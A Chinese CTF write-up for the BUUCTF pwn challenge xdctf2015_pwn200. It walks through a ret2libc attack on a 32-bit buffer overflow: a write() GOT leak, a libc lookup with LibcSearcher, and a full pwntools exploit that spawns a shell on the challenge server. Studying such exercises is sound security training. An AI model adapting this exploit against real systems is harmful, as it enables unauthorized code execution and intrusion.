zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——xdctf2015_pwn200

    xdctf2015_pwn200

    附件

    步骤

    1. 例行检查,32位程序,开启了nx保护
      在这里插入图片描述
    2. 本地试运行一下程序,看看大概的情况
      在这里插入图片描述
    3. 32位ida载入,习惯性的检索程序里的字符串,没有发现什么铭感的地方,直接看main函数
      在这里插入图片描述
      vuln函数
      在这里插入图片描述
      参数buf存在溢出漏洞,由于开启了nx,没有可以直接利用的后门,这边使用ret2libc的方法

    利用过程:

    1. 先用write函数泄露libc版本
    payload='a'*(0x6c+4)                    #溢出到ret
    payload+=p32(write_plt)+p32(vuln_addr)  #覆盖ret为write,write结束后跳转到vuln函数继续执行,为我们第二次利用输入点构造rop攻击做准备
    payload+=p32(1)+p32(write_got)+p32(4)   #write函数的参数
    
    r.sendline(payload)
    
    #write_addr=u32(r.recv(4))
    write_addr=u32(r.recvuntil('xf7')[-4:])  #接收泄露的程序里write函数的地址
    

    write_addr=u32(r.recvuntil('xf7')[-4:])这边说一下这句话是怎么来的
    我一开始写的write_addr=u32(r.recv(4))没有接收到我想要的地址,这个时候我们可以加句语句 context.log_level="debug" 去看一下数据传输的过程
    在这里插入图片描述
    可以看到我们传入的a字符串结束的地方是0x7C,后面跟着的就是我们泄露出来的write函数的地址,我写的意思是从0x7F(这一行末尾),往前截取4字节,得到了我们的write函数的地址

    1. 计算出system和bin/sh的地址,去构造rop攻击
    libc=LibcSearcher('write',write_addr)
    
    libc_base=write_addr-libc.dump('write')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')
    
    payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh)
    

    完整exp:

    from pwn import *
    from LibcSearcher import *
    
    r=remote('node3.buuoj.cn',27464)
    elf=ELF('./bof')
    context.log_level='debug'
    
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    vuln_addr=0x80484D6
    
    payload='a'*(0x6c+4)+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(write_got)+p32(4)
    
    r.sendline(payload)
    
    #write_addr=u32(r.recv(4))
    write_addr=u32(r.recvuntil('xf7')[-4:])
    
    libc=LibcSearcher('write',write_addr)
    
    libc_base=write_addr-libc.dump('write')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')
    
    payload='a'*(0x6c+4)+p32(system)+p32(vuln_addr)+p32(binsh)
    
    r.sendline(payload)
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Mysql锁原理浅谈
    MySQL分库分表浅谈
    MySQL ORDER BY主键id加LIMIT限制走错索引
    表数据量影响MySQL索引选择
    配置supervisor管理beego应用
    9.Element-ui的校验规则Rules
    8.Element-ui日期组件上传到后台日期少一天解决办法
    23.POI导出
    22.访问jar包下资源路径里的文件
    21.Shiro在springboot与vue前后端分离项目里的session管理
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273664.html
Copyright © 2011-2022 走看看